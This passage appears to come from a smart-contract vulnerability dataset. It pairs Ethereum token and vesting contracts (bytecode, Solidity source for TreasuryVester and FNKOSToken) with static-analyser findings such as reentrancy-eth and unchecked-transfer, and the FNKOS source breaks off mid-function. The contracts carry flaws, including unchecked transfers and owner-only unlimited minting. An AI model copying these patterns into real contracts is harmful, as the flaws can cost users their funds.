0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610343578063b87f137a14610363578063c3c8cd8014610383578063c9567bf914610398578063dd62ed3e146103ad57600080fd5b806370a08231146102a0578063715018a6146102c0578063751039fc146102d55780638da5cb5b146102ea57806395d89b411461031257600080fd5b8063273123b7116100e7578063273123b71461020f578063313ce5671461022f5780635932ead11461024b578063677daa571461026b5780636fc3eaec1461028b57600080fd5b806306fdde031461012f578063095ea7b31461017757806318160ddd146101a75780631b3f71ae146101cd57806323b872dd146101ef57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600d81526c22b637b739902a3bb4ba3a32b960991b60208201525b60405161016e9190611739565b60405180910390f35b34801561018357600080fd5b506101976101923660046117b3565b6103f3565b604051901515815260200161016e565b3480156101b357600080fd5b50683635c9adc5dea000005b60405190815260200161016e565b3480156101d957600080fd5b506101ed6101e83660046117f5565b61040a565b005b3480156101fb57600080fd5b5061019761020a3660046118ba565b6104a9565b34801561021b57600080fd5b506101ed61022a3660046118fb565b610512565b34801561023b57600080fd5b506040516009815260200161016e565b34801561025757600080fd5b506101ed610266366004611926565b61055d565b34801561027757600080fd5b506101ed610286366004611943565b6105a5565b34801561029757600080fd5b506101ed610600565b3480156102ac57600080fd5b506101bf6102bb3660046118fb565b61062d565b3480156102cc57600080fd5b506101ed61064f565b3480156102e157600080fd5b506101ed6106c3565b3480156102f657600080fd5b506000546040516001600160a01b03909116815260200161016e565b34801561031e57600080fd5b5060408051808201909152600881526722a627a72a2a22a960c11b6020820152610161565b34801561034f57600080fd5b5061019761035e3660046117b3565b610701565b34801561036f57600080fd5b506101ed61037e366004611943565b61070e565b34801561038f57600080fd5b506101ed610763565b3480156103a457600080fd5b506101ed610799565b3480156103b957600080fd5b506101bf6103c836600461195c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610400338484610b4c565b5060015b92915050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b815260040161043490611995565b60405180910390fd5b60005b81518110156104a557600160066000848481518110610461576104616119ca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049d816119f6565b915050610440565b5050565b60006104b6848484610c70565b610508843361050385604051806060016040528060288152602001611b59602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611063565b610b4c565b5060019392505050565b6000546001600160a01b0316331461053c5760405162461bcd60e51b815260040161043490611995565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105875760405162461bcd60e51b815260040161043490611995565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105cf5760405162461bcd60e51b815260040161043490611995565b600081116105dc57600080fd5b6105fa60646105f4683635c9adc5dea000008461109d565b90611126565b600f5550565b600c546001600160a01b0316336001600160a01b03161461062057600080fd5b4761062a81611168565b50565b6001600160a01b038116600090815260026020526040812054610404906111a2565b6000546001600160a01b031633146106795760405162461bcd60e51b815260040161043490611995565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ed5760405162461bcd60e51b815260040161043490611995565b683635c9adc5dea00000600f819055601055565b6000610400338484610c70565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161043490611995565b6000811161074557600080fd5b61075d60646105f4683635c9adc5dea000008461109d565b60105550565b600c546001600160a01b0316336001600160a01b03161461078357600080fd5b600061078e3061062d565b905061062a8161121f565b6000546001600160a01b031633146107c35760405162461bcd60e51b815260040161043490611995565b600e54600160a01b900460ff161561081d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610434565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085a3082683635c9adc5dea00000610b4c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc9190611a0f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611a0f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561097a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099e9190611a0f565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109ce8161062d565b6000806109e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a4b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a709190611a2c565b5050600e805461ffff60b01b191661010160b01b17905550610aa160646105f4683635c9adc5dea00000600261109d565b600f55610abd60646105f4683635c9adc5dea00000600361109d565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b28573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a59190611a5a565b6001600160a01b038316610bae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b038216610c0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610434565b6001600160a01b038216610d365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610434565b60008111610d985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610434565b6000600a818155600b55546001600160a01b03848116911614801590610dcc57506000546001600160a01b03838116911614155b15611053576001600160a01b03831660009081526006602052604090205460ff16158015610e1357506001600160a01b03821660009081526006602052604090205460ff16155b610e1c57600080fd5b600e546001600160a01b038481169116148015610e475750600d546001600160a01b03838116911614155b8015610e6c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e815750600e54600160b81b900460ff165b15610f8657600f54811115610ed85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610434565b60105481610ee58461062d565b610eef9190611a77565b1115610f3d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610434565b6001600160a01b0382166000908152600760205260409020544211610f6157600080fd5b610f6c42601e611a77565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fb15750600d546001600160a01b03848116911614155b8015610fd657506001600160a01b03831660009081526005602052604090205460ff16155b15610fe6576000600a908155600b555b6000610ff13061062d565b600e54909150600160a81b900460ff1615801561101c5750600e546001600160a01b03858116911614155b80156110315750600e54600160b01b900460ff165b156110515761103f8161121f565b47801561104f5761104f47611168565b505b505b61105e838383611399565b505050565b600081848411156110875760405162461bcd60e51b81526004016104349190611739565b5060006110948486611a8f565b95945050505050565b6000826000036110af57506000610404565b60006110bb8385611aa6565b9050826110c88583611ac5565b1461111f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610434565b9392505050565b600061111f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a4565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a5573d6000803e3d6000fd5b60006008548211156112095760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610434565b60006112136113d2565b905061111f8382611126565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611267576112676119ca565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e49190611a0f565b816001815181106112f7576112f76119ca565b6001600160a01b039283166020918202929092010152600d5461131d9130911684610b4c565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611356908590600090869030904290600401611ae7565b600060405180830381600087803b15801561137057600080fd5b505af1158015611384573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61105e8383836113f5565b600081836113c55760405162461bcd60e51b81526004016104349190611739565b5060006110948486611ac5565b60008060006113df6114ec565b90925090506113ee8282611126565b9250505090565b6000806000806000806114078761152e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611439908761158b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146890866115cd565b6001600160a01b03891660009081526002602052604090205561148a8161162c565b6114948483611676565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d991815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006115088282611126565b82101561152557505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061154b8a600a54600b5461169a565b925092509250600061155b6113d2565b9050600080600061156e8e8787876116e9565b919e509c509a509598509396509194505050505091939550919395565b600061111f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611063565b6000806115da8385611a77565b90508381101561111f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610434565b60006116366113d2565b90506000611644838361109d565b3060009081526002602052604090205490915061166190826115cd565b30600090815260026020526040902055505050565b600854611683908361158b565b60085560095461169390826115cd565b6009555050565b60008080806116ae60646105f4898961109d565b905060006116c160646105f48a8961109d565b905060006116d9826116d38b8661158b565b9061158b565b9992985090965090945050505050565b60008080806116f8888661109d565b90506000611706888761109d565b90506000611714888861109d565b90506000611726826116d3868661158b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156117665785810183015185820160400152820161174a565b81811115611778576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062a57600080fd5b80356117ae8161178e565b919050565b600080604083850312156117c657600080fd5b82356117d18161178e565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180857600080fd5b823567ffffffffffffffff8082111561182057600080fd5b818501915085601f83011261183457600080fd5b813581811115611846576118466117df565b8060051b604051601f19603f8301168101818110858211171561186b5761186b6117df565b60405291825284820192508381018501918883111561188957600080fd5b938501935b828510156118ae5761189f856117a3565b8452938501939285019261188e565b98975050505050505050565b6000806000606084860312156118cf57600080fd5b83356118da8161178e565b925060208401356118ea8161178e565b929592945050506040919091013590565b60006020828403121561190d57600080fd5b813561111f8161178e565b801515811461062a57600080fd5b60006020828403121561193857600080fd5b813561111f81611918565b60006020828403121561195557600080fd5b5035919050565b6000806040838503121561196f57600080fd5b823561197a8161178e565b9150602083013561198a8161178e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611a0857611a086119e0565b5060010190565b600060208284031215611a2157600080fd5b815161111f8161178e565b600080600060608486031215611a4157600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a6c57600080fd5b815161111f81611918565b60008219821115611a8a57611a8a6119e0565b500190565b600082821015611aa157611aa16119e0565b500390565b6000816000190483118215151615611ac057611ac06119e0565b500290565b600082611ae257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b375784516001600160a01b031683529383019391830191600101611b12565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8363315f5d0e4cc3b8fddb31235e7ab030a7d6679255e898d7d07c341e419a464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,214
0x65D57B1e6570F5c636B8DD64C186Ac304a4C0CE9
/** *Submitted for verification at Etherscan.io on 2021-08-03 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract TreasuryVester { using SafeMath for uint; address public dvf; address public recipient; uint public vestingAmount; uint public vestingBegin; uint public vestingCliff; uint public vestingEnd; uint public lastUpdate; constructor( address dvf_, address recipient_, uint vestingAmount_, uint vestingBegin_, uint vestingCliff_, uint vestingEnd_ ) public { require(vestingBegin_ >= block.timestamp, 'TreasuryVester::constructor: vesting begin too early'); require(vestingCliff_ >= vestingBegin_, 'TreasuryVester::constructor: cliff is too early'); require(vestingEnd_ > vestingCliff_, 'TreasuryVester::constructor: end is too early'); dvf = dvf_; recipient = recipient_; vestingAmount = vestingAmount_; vestingBegin = vestingBegin_; vestingCliff = vestingCliff_; vestingEnd = vestingEnd_; lastUpdate = vestingBegin; } function setRecipient(address recipient_) public { require(msg.sender == recipient, 'TreasuryVester::setRecipient: unauthorized'); recipient = recipient_; } function claim() public { require(block.timestamp >= vestingCliff, 'TreasuryVester::claim: not time yet'); uint amount; if (block.timestamp >= vestingEnd) { amount = IDvf(dvf).balanceOf(address(this)); } else { amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin); lastUpdate = block.timestamp; } IDvf(dvf).transfer(recipient, amount); } } interface IDvf { function balanceOf(address account) external view returns (uint); function transfer(address dst, uint rawAmount) external returns (bool); }
0x608060405234801561001057600080fd5b50600436106100a25760003560e01c806366d003ac11610076578063c04637111161005b578063c04637111461013f578063e29bc68b14610147578063f3640e741461014f576100a2565b806366d003ac1461012f57806384a1931f14610137576100a2565b8062728f76146100a7578063356f56d4146100c15780633bbed4a0146100f25780634e71d92d14610127575b600080fd5b6100af610157565b60408051918252519081900360200190f35b6100c961015d565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101256004803603602081101561010857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610179565b005b610125610230565b6100c961041b565b6100af610437565b6100af61043d565b6100af610443565b6100af610449565b60025481565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1633146101e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061054d602a913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60045442101561028b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806105986023913960400191505060405180910390fd5b6000600554421061033a57600054604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b15801561030757600080fd5b505afa15801561031b573d6000803e3d6000fd5b505050506040513d602081101561033157600080fd5b5051905061036a565b6103636003546005540361035d600654420360025461044f90919063ffffffff16565b906104cb565b4260065590505b60008054600154604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156103ec57600080fd5b505af1158015610400573d6000803e3d6000fd5b505050506040513d602081101561041657600080fd5b505050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60065481565b60035481565b60045481565b60008261045e575060006104c5565b8282028284828161046b57fe5b04146104c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806105776021913960400191505060405180910390fd5b90505b92915050565b600080821161053b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161054457fe5b04939250505056fe54726561737572795665737465723a3a736574526563697069656e743a20756e617574686f72697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7754726561737572795665737465723a3a636c61696d3a206e6f742074696d6520796574a26469706673582212200130c44821e6623ae4a3a85e5b7cf18c3af66110298494a6d6da7c2dcabf55c264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,215
0x2cba12a076ba4d922aca5a6a814fc08701a2333c
pragma solidity ^0.4.18; // // FogLink OS Token // Author: FNK // Contact: <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="41323431312e333501272e262d282f2a6f282e">[email&#160;protected]</a> // Telegram community: https://t.me/fnkofficial // contract FNKOSToken { string public constant name = "FNKOSToken"; string public constant symbol = "FNKOS"; uint public constant decimals = 18; uint256 fnkEthRate = 10 ** decimals; uint256 fnkSupply = 500000000; uint256 public totalSupply = fnkSupply * fnkEthRate; uint256 public minInvEth = 0.1 ether; uint256 public maxInvEth = 5.0 ether; uint256 public sellStartTime = 1521129600; // 2018/3/16 uint256 public sellDeadline1 = sellStartTime + 5 days; uint256 public sellDeadline2 = sellDeadline1 + 5 days; uint256 public freezeDuration = 30 days; uint256 public ethFnkRate1 = 6000; uint256 public ethFnkRate2 = 6000; bool public running = true; bool public buyable = true; address owner; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public whitelist; mapping (address => uint256) whitelistLimit; struct BalanceInfo { uint256 balance; uint256[] freezeAmount; uint256[] releaseTime; } mapping (address => BalanceInfo) balances; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event BeginRunning(); event PauseRunning(); event BeginSell(); event PauseSell(); event Burn(address indexed burner, uint256 val); event Freeze(address indexed from, uint256 value); function FNKOSToken () public{ owner = msg.sender; balances[owner].balance = totalSupply; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(whitelist[msg.sender] == true); _; } modifier isRunning(){ require(running); _; } modifier isNotRunning(){ require(!running); _; } modifier isBuyable(){ require(buyable && now >= sellStartTime && now <= sellDeadline2); _; } modifier isNotBuyable(){ require(!buyable || now < sellStartTime || now > sellDeadline2); _; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // 1eth = newRate tokens function setPbulicOfferingPrice(uint256 _rate1, uint256 _rate2) onlyOwner public { ethFnkRate1 = _rate1; ethFnkRate2 = _rate2; } // function setPublicOfferingLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public { minInvEth = _minVal; maxInvEth = _maxVal; } function setPublicOfferingDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public { sellStartTime = _startTime; sellDeadline1 = _deadLine1; sellDeadline2 = _deadLine2; } function transferOwnership(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function pause() onlyOwner isRunning public { running = false; PauseRunning(); } function start() onlyOwner isNotRunning public { running = true; BeginRunning(); } function pauseSell() onlyOwner isBuyable isRunning public{ buyable = false; PauseSell(); } function beginSell() onlyOwner isNotBuyable isRunning public{ buyable = true; BeginSell(); } // // _amount in FNK, // function airDeliver(address _to, uint256 _amount) onlyOwner public { require(owner != _to); require(_amount > 0); require(balances[owner].balance >= _amount); // take big number as wei if(_amount < fnkSupply){ _amount = _amount * fnkEthRate; } balances[owner].balance = safeSub(balances[owner].balance, _amount); balances[_to].balance = safeAdd(balances[_to].balance, _amount); Transfer(owner, _to, _amount); } function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public { require(_addrs.length <= 255); for (uint8 i = 0; i < _addrs.length; i++) { airDeliver(_addrs[i], _amount); } } function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public { require(_addrs.length <= 255); require(_addrs.length == _amounts.length); for (uint8 i = 0; i < _addrs.length; i++) { airDeliver(_addrs[i], _amounts[i]); } } // // _amount, _freezeAmount in FNK // function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public { require(owner != _to); require(_freezeMonth > 0); uint average = _freezeAmount / _freezeMonth; BalanceInfo storage bi = balances[_to]; uint[] memory fa = new uint[](_freezeMonth); uint[] memory rt = new uint[](_freezeMonth); if(_amount < fnkSupply){ _amount = _amount * fnkEthRate; average = average * fnkEthRate; _freezeAmount = _freezeAmount * fnkEthRate; } require(balances[owner].balance > _amount); uint remainAmount = _freezeAmount; if(_unfreezeBeginTime == 0) _unfreezeBeginTime = now + freezeDuration; for(uint i=0;i<_freezeMonth-1;i++){ fa[i] = average; rt[i] = _unfreezeBeginTime; _unfreezeBeginTime += freezeDuration; remainAmount = safeSub(remainAmount, average); } fa[i] = remainAmount; rt[i] = _unfreezeBeginTime; bi.balance = safeAdd(bi.balance, _amount); bi.freezeAmount = fa; bi.releaseTime = rt; balances[owner].balance = safeSub(balances[owner].balance, _amount); Transfer(owner, _to, _amount); Freeze(_to, _freezeAmount); } function freezeDeliverMuti(address[] _addrs, uint _deliverAmount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public { require(_addrs.length <= 255); for(uint i=0;i< _addrs.length;i++){ freezeDeliver(_addrs[i], _deliverAmount, _freezeAmount, _freezeMonth, _unfreezeBeginTime); } } function freezeDeliverMultiStandalone(address[] _addrs, uint[] _deliverAmounts, uint[] _freezeAmounts, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public { require(_addrs.length <= 255); require(_addrs.length == _deliverAmounts.length); require(_addrs.length == _freezeAmounts.length); for(uint i=0;i< _addrs.length;i++){ freezeDeliver(_addrs[i], _deliverAmounts[i], _freezeAmounts[i], _freezeMonth, _unfreezeBeginTime); } } // buy tokens directly function () external payable { buyTokens(); } // function buyTokens() payable isRunning isBuyable onlyWhitelist public { uint256 weiVal = msg.value; address investor = msg.sender; require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth); require(safeAdd(weiVal,whitelistLimit[investor]) <= maxInvEth); uint256 amount = 0; if(now > sellDeadline1) amount = safeMul(msg.value, ethFnkRate2); else amount = safeMul(msg.value, ethFnkRate1); whitelistLimit[investor] = safeAdd(weiVal, whitelistLimit[investor]); airDeliver(investor, amount); } function addWhitelist(address[] _addrs) public onlyOwner { require(_addrs.length <= 255); for (uint8 i = 0; i < _addrs.length; i++) { if (!whitelist[_addrs[i]]){ whitelist[_addrs[i]] = true; } } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner].balance; } function freezeOf(address _owner) constant public returns (uint256) { BalanceInfo storage bi = balances[_owner]; uint freezeAmount = 0; uint t = now; for(uint i=0;i< bi.freezeAmount.length;i++){ if(t < bi.releaseTime[i]) freezeAmount += bi.freezeAmount[i]; } return freezeAmount; } function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); uint freezeAmount = freezeOf(msg.sender); uint256 _balance = safeSub(balances[msg.sender].balance, freezeAmount); require(_amount <= _balance); balances[msg.sender].balance = safeSub(balances[msg.sender].balance,_amount); balances[_to].balance = safeAdd(balances[_to].balance,_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from].balance); require(_amount <= allowed[_from][msg.sender]); balances[_from].balance = safeSub(balances[_from].balance,_amount); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_amount); balances[_to].balance = safeAdd(balances[_to].balance,_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) isRunning public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function withdraw() onlyOwner public { require(this.balance > 0); owner.transfer(this.balance); Transfer(this, owner, this.balance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender].balance); address burner = msg.sender; balances[burner].balance = safeSub(balances[burner].balance, _value); totalSupply = safeSub(totalSupply, _value); fnkSupply = totalSupply / fnkEthRate; Burn(burner, _value); } function mint(address _target, uint256 _amount) onlyOwner public { if(_target == address(0)) _target = owner; balances[_target].balance = safeAdd(balances[_target].balance, _amount); totalSupply = safeAdd(totalSupply,_amount); Transfer(0, 